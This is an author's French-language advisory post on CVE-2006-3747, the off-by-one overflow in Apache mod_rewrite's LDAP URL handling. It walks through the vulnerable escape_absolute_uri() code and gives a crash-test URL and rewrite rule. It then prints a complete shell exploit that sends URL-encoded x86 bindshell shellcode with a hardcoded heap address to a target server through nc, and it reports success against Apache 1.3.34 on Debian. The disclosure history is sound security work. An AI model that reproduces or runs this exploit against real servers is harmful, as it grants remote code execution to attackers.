
Informations sur mon advisory concernant CVE-2006-3747 (dépassement de tampon off-by-one LDAP dans Apache mod_rewrite).. À l'époque, c'était le premier exploit public fonctionnel :)
Fichiers concernant ma publication sur Bugtraq et le premier exploit fonctionnel pour CVE-2006-3747 (dépassement de tampon off-by-one dans Apache mod_rewrite LDAP).
(http://www.securityfocus.com/archive/1/443870)
Le 28 juillet 2006, Mark Dowd (McAfee Avert Labs) a signalé une vulnérabilité trouvée dans le module apache mod_rewrite à la liste de diffusion bugtraq. La fonction vulnérable est escape_absolute_uri() et le problème ne pouvait se produire que lorsque mod_rewrite traite une URL LDAP ; une URL LDAP mal formée pouvait déclencher un dépassement off-by-one dans certaines situations (particulières) et un attaquant potentiel pouvait provoquer un déni de service ou exécuter du code arbitraire avec les privilèges de l'utilisateur apache. Pour exploiter cette vulnérabilité, aucune règle spécifique à LDAP n'est nécessaire, mais il doit y avoir une règle dont l'utilisateur peut contrôler la partie initiale de l'URL réécrite, par exemple :
RewriteRule foo/(.*) $1
Toute version du serveur HTTP Apache :
2696 /* escape absolute uri, which may or may not be path oriented.
2697 * So let's handle them differently.
2698 */
2699 static char *escape_absolute_uri(ap_pool *p, char *uri,
unsigned scheme)
2700 {
2701 char *cp;
2702 ...
...
2727 /* special thing for ldap.
2728 * The parts are separated by question marks. From RFC 2255:
2729 * ldapurl = scheme "://" [hostport] ["/"
2730 * [dn ["?" [attributes] ["?" [scope]
2731 * ["?" [filter] ["?" extensions]]]]]]
2732 */
2733 if (!strncasecmp(uri, "ldap", 4)) {
2734 char *token[5];
2735 int c = 0;
2736
2737 token[0] = cp = ap_pstrdup(p, cp);
2738 while (*cp && c < 5) {
2739 if (*cp == '?') {
2740 token[++c] = cp + 1;
2741 *cp = '\0';
2742 }
2743 ++cp;
2744 }
Dans le cas où une URI LDAP contient un cinquième '?', la ligne 2740 provoque un dépassement off-by-one : elle écrit dans token[5]. Pour exploiter ce problème, une version vulnérable d'Apache et une disposition spécifique de la trame de pile sont nécessaires.
Pour savoir si votre version vulnérable d'Apache pourrait être exploitée avec succès, écrivez cette règle dans votre httpd.conf ou .htaccess :
RewriteRule kung/(.*) $1
And try to access to the following URL:
/kung/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA%
3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB
Si votre serveur web ne vous répond pas par une page « 302 Found » ou si une erreur de segmentation apparaît dans votre error_log, un processus enfant d'Apache a planté et votre serveur web est vulnérable et exploitable.
Cet exploit a été exécuté avec succès sur Apache 1.3.34, paquet debian sarge :
#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
#
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P
echo -e "mod_rewrite apache off-by-one overflow\nby jack <jack\x40gulcas
\x2eorg>\n\n"
if [ $# -ne 1 ] ; then
echo "Usage: $0 webserver"
exit
fi
host=$1
echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6%
31%c0%31 %db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3%
01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04%
31%c0%89%46%10%b0%10%89%46%08% b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66%
b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31%
c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8%
23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76%
08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db%
cd %80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%
77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\nHost:
$host\r\n\r\n" | nc $host 80
~~ Jacobo Avariento Gimeno